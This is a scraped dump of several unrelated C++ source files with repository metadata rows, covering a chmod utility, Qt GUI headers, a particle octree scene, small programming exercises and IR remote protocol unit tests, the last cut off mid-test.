return v / v.length();
}
vec3 reflect(const vec3 &v, const vec3 &n)
{
return v - 2 * dot(v, n) * n;
}
vec3 random_in_unit_sphere()
{
while (true)
{
auto p = vec3::random(-1, 1);
if (p.length_squared() >= 1)
continue;
return p;
}
}
vec3 random_unit_vector()
{
auto a = random_double(0, 2 * pi);
auto z = random_double(-1, 1);
auto r = sqrt(1 - z * z);
return vec3(r * cos(a), r * sin(a), z);
}
vec3 random_in_hemisphere(const vec3 &normal)
{
vec3 in_unit_sphere = random_in_unit_sphere();
if (dot(in_unit_sphere, normal) > 0.0) // In the same hemisphere as the normal
return in_unit_sphere;
else
return -in_unit_sphere;
}
#endif | [
"tmzpdpdlwl@gmail.com"
] | tmzpdpdlwl@gmail.com |
aa1c31f12fd5ebca58fd99cce60e65463641c947 | 91e96e2056c3fd7a9d6a0eebef9021b40b09cff9 | /2UsingMyPreviewArea/2_Mine/mainwindow.h | e42539e305e233341700c5db75c643723081e492 | [] | no_license | aamelia/493-Project2 | 588eefd425f2da8fed469ec2e3c769f25355bcc6 | 1ee0827b540e22140e726ef5ffc9995387012ed2 | refs/heads/master | 2020-05-18T16:32:06.345953 | 2013-03-30T07:06:02 | 2013-03-30T07:06:02 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,156 | h | #ifndef MAINWINDOW_H
#define MAINWINDOW_H
#include <QMainWindow>
#include "flickrcollector.h"
#include "imagecollector.h"
#include "previewarea.h"
#include "deleteimagecommand.h"
class MainWindow : public QMainWindow
{
Q_OBJECT
public:
MainWindow(QWidget *parent = 0);
~MainWindow();
public slots:
void quit(void);
void flickrCallback(void);
void createFlickr();
void createMenus();
void processDownloadedPics(QPixmap);
void resetMainImage(int location);
void mainStartAnimation();
void resetCollection(int collectionNumber);
void deleteCollection();
void deleteSelection();
private:
FlickrCollector *collector;
QStringList urlList;
QListWidget *leftPanel;
QMenuBar *menuBar;
QWidget *imageWidget;
QWidget *leftPanelContainer;
QWidget *bottomContainer;
PreviewArea *bottom;
QLabel *mainImage;
ImageCollector *image;
int currentCollection;
int numCollections;
int photoCounter;
vector<QStringList> allCollections;
vector<int> toDelete;
QAction *deleteImageCommandAction;
QUndoStack *undoStack;
signals:
void replaceBottom();
void deletedFromMain(int);
};
#endif // MAINWINDOW_H
| [
"aamelia@umich.edu"
] | aamelia@umich.edu |
d81d4d8b5fb5e1a4a3d98017e98f799099e43e40 | e01fb01a7bd1d154510f6463ef6c5127d7b5b7b4 | /chmod.cpp | 5b1e8d068d6a5529754685ee8108af8ce2701cc4 | [] | no_license | jbstock/Commands | 12f04e7c69545a000d2584e2ee0e6c66a5414e36 | 7d77e30281a2e1e49bbe6d08cf85cc1561c9e89d | refs/heads/master | 2021-11-28T10:26:12.324395 | 2017-01-02T17:50:07 | 2017-01-02T17:50:07 | 77,851,402 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 4,801 | cpp |
#include <sys/stat.h>
#include <sys/types.h>
#include <features.h>
#include <fcntl.h>
#include <cstdio>
#include <cstdlib>
#include <iostream>
#include <unistd.h>
#include <iomanip>
#include <bitset>
#include <string.h>
#include <fstream>
#include <math.h>
#include <errno.h>
using std::cout;
using std::endl;
using std::setbase;
using std::ifstream;
using std::bitset;
#define READ 4;
#define WRITE 2;
#define EXEC 1;
int main(int argc, char **argv){
int aflags = 0;
//s = 1
//o = 2
int bflags = 0;
//u = 1, g = 3, o = 5, ug = 4, uo = 6, ugo = 9, a = 9, go = 8
int o = -1;
int permissions = 0;
char * file = argv[3];
char * arg = argv[1];
if ((strcmp(arg, "-sym") == 0))
aflags = 1;
else if ((strcmp(arg, "-oct") == 0))
aflags = 2;
else
{
cout << "Invalid option" << endl;
return EXIT_FAILURE;
}
if (aflags == 0)
{
return EXIT_FAILURE;
}
else if (aflags == 1)
{
//+-=
char operation;
char * flags = argv[2];
int length = sizeof(flags)/sizeof(char);
for (int i = 0; i < length - 1; ++i)
{
if (flags[i] == 'u')
bflags += 1;
if (flags[i] == 'g')
bflags += 3;
if (flags[i] == 'o')
bflags += 5;
if (flags[i] == 'a')
bflags = 9;
if (flags[i] == '+')
operation = '+';
else if (flags[i] == '-')
operation = '-';
else if (flags[i] == '=')
operation = '=';
if (flags[i] == 'r')
permissions = permissions | READ;
if (flags[i] == 'w')
permissions = permissions | WRITE;
if (flags[i] == 'x')
permissions = permissions | EXEC;
}
struct stat sb;
stat(file, &sb);
if (operation == '=')
{
if (bflags == 1)
{
int permmask = (7 << 3) | (7);
permmask = permmask & sb.st_mode;
permissions = permissions<<6 | permmask;
}
else if (bflags == 3)
{
int permmask = (7 << 6) | 7;
permmask = permmask & sb.st_mode;
permissions = (permissions << 3 | permmask);
}
else if (bflags == 5)
{
int permmask = (7 << 6) | 7 << 3;
permmask = permmask & sb.st_mode;
permissions = (permissions | permmask);
}
else if (bflags == 4)
{
int permmask = 7;
permmask = permmask & sb.st_mode;
permissions = (permissions << 6 | permissions << 3 | permmask);
}
else if (bflags == 6)
{
int permmask = 7 << 3;
permmask = permmask & sb.st_mode;
permissions = (permissions << 6 | permissions | permmask);
}
else if (bflags == 9)
permissions = (permissions << 6) | (permissions << 3) | (permissions);
else if (bflags == 8)
{
int permmask = 7 << 6;
permmask = permmask & sb.st_mode;
permissions = (permissions << 3 | permissions | permmask);
}
}
if (operation == '+')
{
if (bflags == 1)
permissions = (permissions << 6 | (sb.st_mode));
else if (bflags == 3)
permissions = (permissions << 3 | (sb.st_mode));
else if (bflags == 5)
permissions = (permissions | (sb.st_mode));
else if (bflags == 4)
permissions = ((permissions << 6) | (permissions << 3) | (sb.st_mode));
else if (bflags == 6)
permissions = ((permissions << 6) | (permissions) | (sb.st_mode));
else if (bflags == 9)
permissions = ((permissions << 6) | (permissions << 3) | (permissions) | (sb.st_mode));
else if (bflags == 8)
permissions = ((permissions << 3) | (permissions) | (sb.st_mode));
}
if (operation == '-')
{
if (bflags == 1)
permissions = (~(permissions << 6) & (sb.st_mode));
else if (bflags == 3)
permissions = (~(permissions << 3) & (sb.st_mode));
else if (bflags == 5)
permissions = (~(permissions) & (sb.st_mode));
else if (bflags == 4)
permissions = (~((permissions << 6) | (permissions << 3)) & (sb.st_mode));
else if (bflags == 6)
permissions = (~((permissions << 6) | (permissions)) & (sb.st_mode));
else if (bflags == 9)
permissions = (~((permissions << 6) | (permissions << 3) | (permissions)) & (sb.st_mode));
else if (bflags == 8)
{
permissions = (~((permissions << 3) | (permissions)) & (sb.st_mode));
}
}
}
else if (aflags == 2)
{
//Octal
char * p;
o = strtol(argv[2], &p, 10);
if (( o/100 > 7 || o < 0))
{
cout << "Invalid input" << endl;
return EXIT_FAILURE;
}
int p1 = 1;
int p2 = 1;
int p3 = 1;
int n = 0;
p1 = o %10;
if (o > 10)
p2 = o/10%10;
if (o > 100)
p3 = o/100%10;
if (p1 > 7 || p2 >7 || p3 > 7)
{
cout << "Invalid input" << endl;
}
while (o > 0)
{
permissions += ((pow(8,n++)) * ( o % 10));
o /=10;
}
}
if (!ifstream(file))
{
if (errno == ENOENT)
{
//cout << "Error: " << strerror(errno) <<endl;
perror("File");
return EXIT_FAILURE;
}
}
int f = chmod(file, permissions);
if (f == -1)
{
perror("chmod error:");
return EXIT_FAILURE;
}
return EXIT_SUCCESS;
} //main
| [
"jbstock@uga.edu"
] | jbstock@uga.edu |
d913261562e798dbdca114e040d4f9e28138a790 | 283a36b6b894ae0e3d9a507b9c2ac33527ac54a8 | /src/http/types/message.h | 528bee91092094719188b1aaf6d3f620014ec422 | [
"MIT"
] | permissive | edenreich/http-component | 282a2ba3c278caa0494ef8cdf1cdd1cd0ce5947c | d1de28b7f29d0fc56adac991786d06952d236287 | refs/heads/master | 2020-07-26T07:40:37.973782 | 2019-10-07T22:53:44 | 2019-10-07T22:53:44 | 208,579,441 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 191 | h | #ifndef TYPES_MESSAGE_H
#define TYPES_MESSAGE_H
#include <map>
#include <string>
namespace Http {
typedef std::map<std::string,std::string> Headers;
}
#endif // TYPES_MESSAGE_H | [
"eden.reich@gmail.com"
] | eden.reich@gmail.com |
847ba5b9fe34b1282b767842743a53034071a216 | 4cce4068b5e0071309ec1fe7da4e8fcf6bd8d22b | /movieplayer.h | bd15ec809b5e2c76e857bd31a310fc61f25e151c | [] | no_license | XiaochuanBrook/Qt_media | ec61739d7a4e09e738cd22593f86eb119fef848c | 17412cf2ec9d1054318a12dfb54c2d066f4e877c | refs/heads/master | 2021-04-30T04:49:01.746260 | 2018-02-14T18:23:54 | 2018-02-14T18:23:54 | 121,545,035 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,063 | h | #ifndef MOVIEPLAYER_H
#define MOVIEPLAYER_H
#include <QWidget>
QT_BEGIN_NAMESPACE
class QCheckBox;
class QGridLayout;
class QHBoxLayout;
class QLabel;
class QMovie;
class QSlider;
class QSpinBox;
class QToolButton;
class QVBoxLayout;
QT_END_NAMESPACE
class MoviePlayer : public QWidget
{
Q_OBJECT
public:
MoviePlayer(QWidget *parent = 0);
void openFile(const QString &fileName);
private slots:
void open();
void goToFrame(int frame);
void fitToWindow();
void updateButtons();
void updateFrameSlider();
private:
void createControls();
void createButtons();
QString currentMovieDirectory;
QLabel *movieLabel;
QMovie *movie;
QToolButton *openButton;
QToolButton *playButton;
QToolButton *pauseButton;
QToolButton *stopButton;
QToolButton *quitButton;
QCheckBox *fitCheckBox;
QSlider *frameSlider;
QSpinBox *speedSpinBox;
QLabel *frameLabel;
QLabel *speedLabel;
QGridLayout *controlsLayout;
QHBoxLayout *buttonsLayout;
QVBoxLayout *mainLayout;
};
#endif
| [
"xchnlin@gmail.com"
] | xchnlin@gmail.com |
f25dbebf6de85d1cf678d679948aeb11c2636ecc | 4423987b3cb13ad3321479d11de9f0250575df75 | /Codeforces/Individual/Virtual/Round599/bb.cpp | 41a33da1a6f6509610b986243bbb294a0dd0b9bf | [] | no_license | samplex63/Competitive-Programming | 5ebc3a933eed1a5921bea8e91b798c96225007bf | 546aecd109dbdedef5b9b2afaddb1fa5ff69bbde | refs/heads/master | 2022-12-04T16:51:57.648719 | 2020-08-24T13:37:47 | 2020-08-24T13:37:47 | 282,802,436 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 801 | cpp | #include <bits/stdc++.h>
using namespace std;
#define fi first
#define se second
#define sz(x) static_cast<int>((x).size())
typedef long long ll;
typedef long double ld;
int main() {
ios_base::sync_with_stdio(false);
cin.tie(NULL);
#ifdef LOCAL
freopen("in", "r", stdin);
#endif
int t;
cin >> t;
while(t--) {
int n;
cin >> n;
string s, p;
cin >> s >> p;
int cnt = 0;
pair<char, char> on, tw;
for(int i = 0; i < n; ++i) {
if(s[i] != p[i]) {
cnt++;
if(cnt == 1) {
on.fi = s[i];
on.se = p[i];
} else {
tw.fi = s[i];
tw.se = p[i];
}
}
}
//~ cerr << cnt << ' ' << on.fi << ' ' << on.se << ' ' << tw.fi << ' ' << tw.se << '\n';
if(cnt == 2 && on.fi == tw.fi && on.se == tw.se) cout << "Yes\n";
else cout << "No\n";
}
return 0;
} | [
"42390214+samplex63@users.noreply.github.com"
] | 42390214+samplex63@users.noreply.github.com |
e664aab9fa17c8bc509bb3f3cfd15b3f64be285f | 21c14cb9aa5f4ff73e549a00776971b3e7772fad | /test/matutils-test.cpp | 005ee62194290b7e40679cdbbe3b773c7244c833 | [
"MIT"
] | permissive | vitorpavinato/abcranger | 587ebbd1c37385983ce3ae9d09e36ae3d0b6f406 | 71f950817bedeebed12d13610d8747c6dcc75a72 | refs/heads/master | 2022-11-13T22:45:24.589005 | 2020-07-08T13:32:23 | 2020-07-08T13:32:23 | 283,507,205 | 1 | 0 | MIT | 2020-07-29T13:31:10 | 2020-07-29T13:31:10 | null | UTF-8 | C++ | false | false | 1,607 | cpp | #define CATCH_CONFIG_MAIN
#include <catch2/catch.hpp>
#include "matutils.hpp"
#include "readreftable.hpp"
// #include <numeric>
// #include <boost/accumulators/accumulators.hpp>
// #include <boost/accumulators/statistics/stats.hpp>
// #include <boost/accumulators/statistics/mean.hpp>
// #include <boost/accumulators/statistics/variance.hpp>
// using namespace boost::accumulators;
// BOOST_AUTO_TEST_CASE(UnifDistrib, * boost::unit_test::tolerance(0.01)) {
// accumulator_set<double,stats<tag::mean, tag::variance>> acc;
// for(auto i = 0; i < 10000; i++) acc(dis(rng));
// BOOST_TEST( mean(acc) == 0.5);
// BOOST_TEST( variance(acc) == 1.0/12.0);
// }
TEST_CASE("Matutils : add linear Combination") {
MatrixXi m1(2,3);
MatrixXi m2(3,2);
MatrixXi m3(2,5);
m1 << 1, 2, 3,
4, 5, 6;
m2 << 1, 2,
3, 4,
5, 6;
m3 << 1, 2, 3, 22, 28,
4, 5, 6, 49, 64;
addLinearComb(m1,m1,m2);
CHECK( (m3 - m1).lpNorm<Infinity>() == 0 );
}
// TEST_CASE(NoiseNames) {
// auto myread = readreftable("headerRF.txt","reftableRF.bin");
// size_t noisecols = 5;
// size_t nrow = myread.nrec;
// // size_t oldsize = myread.stats.size();
// auto stats_names(myread.stats_names);
// // for(auto i = 0; i < noisecols; i++) {
// // stats_names.push_back("NOISE" + std::to_string(i));
// // }
// // addNoiseCols(myread,noisecols);
// BOOST_TEST ( 1 == 1 );
// // BOOST_TEST( myread.stats.size() == (oldsize + noisecols * nrow) );
// // BOOST_TEST( myread.stats_names == stats_names );
// }
| [
"Francois-David.Collin@umontpellier.fr"
] | Francois-David.Collin@umontpellier.fr |
f93474c848f5ce04ee2a0fa5773a077dbd6405a2 | a0a29cc7d38a3efb282ebb4032c684f6af50a29d | /bmi1.cpp | 28c85630844abb623473f874720d80809a0e2241 | [] | no_license | glitter2626/lab2 | 961f5d486984d14a98611f2b491c003daf516310 | a0e94eac427b76ff68c14e83481d6509379b46d9 | refs/heads/master | 2021-01-10T11:25:42.176967 | 2016-03-19T08:36:55 | 2016-03-19T08:36:55 | 54,250,086 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 836 | cpp | #include"a.h"
double BMI::get_height(){return height;}
double BMI::get_mass(){return mass;}
BMI & BMI::set_data(double a, double b){height = a; mass = b; return *this;}
double BMI::get_bmi(){return mass / (height * 0.01 * height * 0.01);}
std::string BMI::result(double bmi){
if(bmi < 15)
return "Very severely underweight";
else if(bmi >= 15 && bmi < 16)
return "Severely underweight";
else if(bmi >= 16 && bmi < 18.5)
return "Underweight";
else if(bmi >= 18.5 && bmi < 25)
return "Normal";
else if(bmi >= 25 && bmi < 30)
return "Overweight";
else if(bmi >= 30 && bmi < 35)
return "Obese ClassI(Moderately obese)";
else if(bmi >= 35 && bmi < 40)
return "Obese ClassII(Severely obese)";
else
return "Obese ClassIII(Very severely obese)";
}
| [
"gercommand@gmail.com"
] | gercommand@gmail.com |
74301fde68ab191b8530037065ad1ebc2ebc3a38 | 172a7cfd42ee0b39597a4259fc10b5c14324a319 | /Codeforces/BetaRound/r18/div2-B.cpp | 2bd7342c93c57bb8a1d3a9e56d847da6cdadb800 | [
"MIT"
] | permissive | vios-fish/CompetitiveProgramming | ce459d16db25f0e67af97336eaf6023f9bbb9d8c | 6953f024e4769791225c57ed852cb5efc03eb94b | refs/heads/master | 2021-01-10T01:26:12.678566 | 2015-12-10T06:35:47 | 2015-12-10T06:35:47 | 47,529,317 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 974 | cpp | #include <iostream>
#include <cstdlib>
#include <cmath>
#include <cstring>
#include <string>
#include <vector>
#include <map>
#include <list>
#include <queue>
#include <stack>
#include <bitset>
#include <deque>
#include <set>
#include <sstream>
using namespace std;
const double EPS = 1e-10;
const double PI = acos(-1.0);
#define dump(x) cerr << #x << " = " << (x) << endl;
#define debug(x) cerr << #x << " = " << (x) << "(L" << __LINE__ << ")" << __FILE__ << endl;
#define reep(i,a,b) for( int i = (int)(a); i < (int)(b); ++i)
#define rep(i,n) reep(i,0,n)
typedef vector<int> VI;
typedef vector<VI> VII;
typedef vector<string> VS;
typedef pair<int, int> PII;
inline int toInt( string s ){int v; istringstream sin(s);sin >> v;return v;}
template<class T> inline string toString( T x ){ostringstream sout;sout<<x;return sout.str();}
int main(){
int n;
cin >> n;
int a[1010], b[1010];
rep(i,n){ cin >> a[i] >> b[i]; }
int cnt = 1;
}
| [
"vios.fish@gmail.com"
] | vios.fish@gmail.com |
731d5e3596d9d85c5b5f4993117f32141cb5b39b | db585b8fd1817f0160788b0b93156e2e5175b6c4 | /PegAeSys/ModelTransform.h | 3441cb166b2b36af143d0fd38025b43ad6247b22 | [] | no_license | 15831944/Ffa | cbb739aa1f0ebdcfcd513ab3850c9a3ce49ec5b6 | 9de5c81dfc95ea2d0cc9a08a58b278471d8ce43c | refs/heads/master | 2020-08-28T09:40:44.845253 | 2019-03-08T01:28:49 | 2019-03-08T01:28:49 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 429 | h | #pragma once
class CModelTransform : public CObject
{
private:
WORD m_wDepth;
CTMat* m_p_tmCompositeModeling;
CObList m_TMList;
public:
CModelTransform();
~CModelTransform();
void InvokeNew();
void Return();
void Transform(CPnt& pt) const;
void Transform(CPnt4& pt) const;
void Transform(CVec4& v) const;
void Transform(CVec& v) const;
void SetLocalTM(const CTMat& tm);
};
extern CModelTransform mspace;
| [
"t.smith@swbell.net"
] | t.smith@swbell.net |
b49e5af9c67cd661b7bc52bfdcfb7086f6d4bcc4 | f29dc2d3284e5bbbed3bd7a370585ef7c28fc92c | /media.cpp | 088e18a9ddff4b7fafad2047fbfe4756589d3946 | [] | no_license | donothinti/GP | 39cef9931d921e82d1151a0328cfe48ebf4d4301 | da450201fdab13e20abb61d1798e806c96acaa57 | refs/heads/master | 2020-03-12T10:20:40.475082 | 2018-04-23T12:18:55 | 2018-04-23T12:18:55 | 130,571,184 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 413 | cpp | #include "media.h"
#include "ui_media.h"
media::media(QWidget *parent) :
QWidget(parent),
ui(new Ui::media)
{
ui->setupUi(this);
player = new QMediaPlayer(this);
videoWidget = new QVideoWidget(this);
player->setVideoOutput(videoWidget);
player->setMedia(QUrl::fromLocalFile("D:\\Wildlife.wmv"));
videoWidget->show();
player->play();
}
media::~media()
{
delete ui;
}
| [
"wlxiucai@foxmail.com"
] | wlxiucai@foxmail.com |
e562183a357efff7463df805839ba831d239bf59 | bdb0887c09e9766cf9acb7b1123dfbe56dde85f1 | /src/Scene.cpp | ef8ca082a3dd3ab70b7bb93aad1d144edccb85d4 | [] | no_license | bogdan-voevoda/OctreeAbstract | bf2c433b396df91bb8e2590aa82fb4ab89f0215c | e2212cddcb5ddf8a900b2c6d421238d4d9adef73 | refs/heads/master | 2021-01-12T22:33:46.609128 | 2014-10-20T17:25:06 | 2014-10-20T17:25:06 | 28,749,522 | 0 | 0 | null | 2015-01-03T17:10:39 | 2015-01-03T17:10:39 | null | UTF-8 | C++ | false | false | 4,632 | cpp | #include "Scene.h"
#include "Particle.h"
#include <ngl/Random.h>
#include <boost/foreach.hpp>
#include <ngl/NGLStream.h>
Scene::Scene(ngl::Transformation *_t, ngl::Camera *_cam)
{
m_numParticles = 0;
m_transform=_t;
m_cam=_cam;
BoundingBox bb;
bb.m_minx = bb.m_miny = bb.m_minz = -10.0;
bb.m_maxx = bb.m_maxy = bb.m_maxz = 10.0;
collisionTree = new ParticleOctree (4, bb); // control the height of the octree
}
void Scene::addParticle(ngl::Vec3 _pos, ngl::Vec3 _dir, ngl::Colour _c, GLfloat _r)
{
ngl::Random *rng=ngl::Random::instance();
float r=rng->randomPositiveNumber(_r)+0.05;
Particle *p = new Particle(_pos, _dir, _c, r, this);
m_particles.push_back(p);
++m_numParticles;
}
Scene::~Scene()
{
// we need to call the dtor for each of the particles as pointer
// however the std::vector will clear it's self at the end
BOOST_FOREACH(Particle *p, m_particles)
{
delete p;
}
deleteAllWalls();
}
void Scene::addNewWall(ngl::Vec3 _point, float _size, ngl::Vec3 _normal, bool _draw)
{
Wall *newWall = new Wall;
_normal.normalize();
newWall->centre = _point;
newWall->size = _size;
newWall->a = _normal.m_x;
newWall->b = _normal.m_y;
newWall->c = _normal.m_z;
newWall->d = -(newWall->a * _point.m_x + newWall->b * _point.m_y + newWall->c * _point.m_z);
newWall->draw_flag = _draw;
m_walls.push_back(newWall);
}
void Scene::deleteAllWalls()
{
BOOST_FOREACH(Wall *w, m_walls)
{
delete w;
}
m_walls.clear();
}
ngl::Vec3 Scene::getRotationFromY(ngl::Vec3 _vec) const
{
ngl::Vec3 rot;
rot.m_z = 0.0;
if(fabs(_vec.m_y)< 0.0001)
{
if (_vec.m_z>= 0.0)
rot.m_x = -90;
else
rot.m_x = 90;
}
else
rot.m_x = atan(_vec.m_z/_vec.m_y);
if(fabs(_vec.m_y) + fabs(_vec.m_z) < 0.0001)
{
if(_vec.m_x > 0)
rot.m_y = -90;
else
rot.m_y = 90;
}
else
rot.m_z = atan(_vec.m_x/sqrt(_vec.m_y*_vec.m_y + _vec.m_z*_vec.m_z));
return rot;
}
void Scene::draw(const ngl::Mat4 &_globalMouseTx) const
{
BOOST_FOREACH(Particle *p, m_particles)
{
p->draw(_globalMouseTx);
}
// draw the walls
ngl::VAOPrimitives *prim=ngl::VAOPrimitives::instance();
ngl::ShaderLib *shader=ngl::ShaderLib::instance();
(*shader)["nglColourShader"]->use();
BOOST_FOREACH(Wall *w, m_walls)
{
if(w->draw_flag)
{
m_transform->reset();
{
m_transform->setPosition(w->centre);
m_transform->setScale(w->size, w->size, w->size);
m_transform->setRotation(getRotationFromY(ngl::Vec3(w->a,w->b,w->c)));
ngl::Mat4 MVP= m_transform->getMatrix()
*_globalMouseTx* m_cam->getVPMatrix();
shader->setShaderParamFromMat4("MVP",MVP);
prim->draw("wall");
}
}
}
}
void Scene::update()
{
// call the update method for each particle
BOOST_FOREACH(Particle *p, m_particles)
{
p->update(); // update the position of each particles
}
collisionWithWalls();
collisionWithBalls();
}
void Scene::collisionWithBalls()
{
collisionTree->clearTree();
BOOST_FOREACH(Particle *p, m_particles)
{
collisionTree->addObject(p);
}
collisionTree->checkCollision();
}
void Scene::collisionWithWalls()
{
ngl::Vec3 oldP, oldV, newP, newV, wallNormal;
float radius;
float dist;
// call the update method for each particle
//for(std::vector<Particle *>::iterator itr = m_particles.begin(); itr!= m_particles.end(); ++itr)
BOOST_FOREACH(Particle *p, m_particles)
{
oldP = p->getPosition();
oldV = p->getCurrentSpeed();
radius = p->getRadius();
BOOST_FOREACH(Wall *w, m_walls)
{
wallNormal.m_x = w->a; wallNormal.m_y = w->b; wallNormal.m_z = w->c;
dist = oldP.m_x * w->a + oldP.m_y * w->b + oldP.m_z * w->c + w->d - radius;
if(dist < 0.0) // penerate the wall
{
newP = oldP - 2.0*dist*wallNormal;
newV = -oldV.dot(wallNormal)*wallNormal+(oldV-oldV.dot(wallNormal)*wallNormal);
p->setPosition(newP);
p->setSpeed(newV);
}
}
}
}
void Scene::clearParticles()
{
// however the std::vector will clear it's self at the end
BOOST_FOREACH(Particle *p, m_particles)
{
delete p;
}
// must remember to re-size the std::vector back to 0
m_particles.clear();
m_numParticles=0;
}
| [
"jmacey@bournemouth.ac.uk"
] | jmacey@bournemouth.ac.uk |
00d81a54ac4235b6922618f508c4195fc47e2ff5 | 95784a17a425c5bff5f2edb26bb52f6913042c89 | /IX-Interview-Questions/Ch-3/3.4/cpp.cpp | ae731f77b29c5a345863bc4a5305a94a905b1999 | [] | no_license | johnnyodonnell/CrackingTheCodingInterview | 6f0fb4e1bb8bdec296d59a7cd99e6a9a7dca5eee | 842d5cc3f757fe3f81bdc5ed8184a63d44f923c5 | refs/heads/master | 2020-05-21T00:59:53.558295 | 2019-05-24T15:37:03 | 2019-05-24T15:37:03 | 185,843,879 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,202 | cpp | #include <iostream>
#include <stack>
using namespace std;
template <typename T>
class MyQueue {
private:
stack<T> incoming {};
stack<T> outgoing {};
void transfer() {
while (!incoming.empty()) {
outgoing.push(incoming.top());
incoming.pop();
}
}
public:
void push(const T& value) {
incoming.push(value);
}
T& front() {
if (outgoing.empty()) {
transfer();
}
return outgoing.top();
}
void pop() {
if (outgoing.empty()) {
transfer();
}
outgoing.pop();
}
bool empty() {
return incoming.empty() && outgoing.empty();
}
};
int main() {
MyQueue<int> q {};
for (auto i : {1, 2, 3, 4, 5, 6, 7, 8}) {
q.push(i);
}
for (int i = 0; i < 3; i++) {
cout << q.front() << ", ";
q.pop();
}
cout << endl;
for (auto i : {9, 10 , 11, 12}) {
q.push(i);
}
while (!q.empty()) {
cout << q.front() << ", ";
q.pop();
}
cout << endl;
}
| [
"odonnell_johnny@yahoo.com"
] | odonnell_johnny@yahoo.com |
28140b8c6bbbcb4302c4edae2fdfebf2420691ca | 6df78dad28118623d5281cf25470240712d82834 | /mixly_arduino/arduino/portable/sketchbook/libraries/IRremoteESP8266/test/ir_Whynter_test.cpp | 0c45f265414814c9ab965b7240b2c4bd95b639f7 | [
"LGPL-2.1-only",
"Apache-2.0",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | HackEduca/Mixly_Arduino | b2289941584c8abf7db5d8380d27837eb736b159 | e19d59561f2729a6767731c0ad6b03a6f8086b53 | refs/heads/master | 2020-09-07T05:04:01.601407 | 2019-11-09T06:35:58 | 2019-11-09T06:35:58 | 182,799,795 | 1 | 0 | Apache-2.0 | 2019-04-22T14:05:03 | 2019-04-22T14:02:40 | C | UTF-8 | C++ | false | false | 9,987 | cpp | // Copyright 2017 David Conran
#include "IRsend.h"
#include "IRsend_test.h"
#include "gtest/gtest.h"
// Tests for sendWhynter().
// Test sending typical data only.
TEST(TestSendWhynter, SendDataOnly) {
IRsendTest irsend(4);
irsend.begin();
irsend.reset();
irsend.sendWhynter(0x0);
EXPECT_EQ(
"f38000d50"
"m750s750m2850s2850"
"m750s750m750s750m750s750m750s750m750s750m750s750m750s750m750s750"
"m750s750m750s750m750s750m750s750m750s750m750s750m750s750m750s750"
"m750s750m750s750m750s750m750s750m750s750m750s750m750s750m750s750"
"m750s750m750s750m750s750m750s750m750s750m750s750m750s750m750s750"
"m750s52050",
irsend.outputStr());
irsend.reset();
irsend.sendWhynter(0xFFFFFFFF);
EXPECT_EQ(
"f38000d50"
"m750s750m2850s2850"
"m750s2150m750s2150m750s2150m750s2150m750s2150m750s2150m750s2150m750s2150"
"m750s2150m750s2150m750s2150m750s2150m750s2150m750s2150m750s2150m750s2150"
"m750s2150m750s2150m750s2150m750s2150m750s2150m750s2150m750s2150m750s2150"
"m750s2150m750s2150m750s2150m750s2150m750s2150m750s2150m750s2150m750s2150"
"m750s12200",
irsend.outputStr());
irsend.reset();
irsend.sendWhynter(0x87654321);
EXPECT_EQ(
"f38000d50"
"m750s750m2850s2850"
"m750s2150m750s750m750s750m750s750m750s750m750s2150m750s2150m750s2150"
"m750s750m750s2150m750s2150m750s750m750s750m750s2150m750s750m750s2150"
"m750s750m750s2150m750s750m750s750m750s750m750s750m750s2150m750s2150"
"m750s750m750s750m750s2150m750s750m750s750m750s750m750s750m750s2150"
"m750s33850",
irsend.outputStr());
}
// Test sending with different repeats.
TEST(TestSendWhynter, SendWithRepeats) {
IRsendTest irsend(4);
irsend.begin();
irsend.reset();
irsend.sendWhynter(0x87654321, kWhynterBits, 0); // 0 repeats.
EXPECT_EQ(
"f38000d50"
"m750s750m2850s2850"
"m750s2150m750s750m750s750m750s750m750s750m750s2150m750s2150m750s2150"
"m750s750m750s2150m750s2150m750s750m750s750m750s2150m750s750m750s2150"
"m750s750m750s2150m750s750m750s750m750s750m750s750m750s2150m750s2150"
"m750s750m750s750m750s2150m750s750m750s750m750s750m750s750m750s2150"
"m750s33850",
irsend.outputStr());
irsend.reset();
irsend.sendWhynter(0x87654321, kWhynterBits, 1); // 1 repeat.
EXPECT_EQ(
"f38000d50"
"m750s750m2850s2850"
"m750s2150m750s750m750s750m750s750m750s750m750s2150m750s2150m750s2150"
"m750s750m750s2150m750s2150m750s750m750s750m750s2150m750s750m750s2150"
"m750s750m750s2150m750s750m750s750m750s750m750s750m750s2150m750s2150"
"m750s750m750s750m750s2150m750s750m750s750m750s750m750s750m750s2150"
"m750s33850"
"m750s750m2850s2850"
"m750s2150m750s750m750s750m750s750m750s750m750s2150m750s2150m750s2150"
"m750s750m750s2150m750s2150m750s750m750s750m750s2150m750s750m750s2150"
"m750s750m750s2150m750s750m750s750m750s750m750s750m750s2150m750s2150"
"m750s750m750s750m750s2150m750s750m750s750m750s750m750s750m750s2150"
"m750s33850",
irsend.outputStr());
irsend.reset();
irsend.sendWhynter(0x87654321, kWhynterBits, 2); // 2 repeats.
EXPECT_EQ(
"f38000d50"
"m750s750m2850s2850"
"m750s2150m750s750m750s750m750s750m750s750m750s2150m750s2150m750s2150"
"m750s750m750s2150m750s2150m750s750m750s750m750s2150m750s750m750s2150"
"m750s750m750s2150m750s750m750s750m750s750m750s750m750s2150m750s2150"
"m750s750m750s750m750s2150m750s750m750s750m750s750m750s750m750s2150"
"m750s33850"
"m750s750m2850s2850"
"m750s2150m750s750m750s750m750s750m750s750m750s2150m750s2150m750s2150"
"m750s750m750s2150m750s2150m750s750m750s750m750s2150m750s750m750s2150"
"m750s750m750s2150m750s750m750s750m750s750m750s750m750s2150m750s2150"
"m750s750m750s750m750s2150m750s750m750s750m750s750m750s750m750s2150"
"m750s33850"
"m750s750m2850s2850"
"m750s2150m750s750m750s750m750s750m750s750m750s2150m750s2150m750s2150"
"m750s750m750s2150m750s2150m750s750m750s750m750s2150m750s750m750s2150"
"m750s750m750s2150m750s750m750s750m750s750m750s750m750s2150m750s2150"
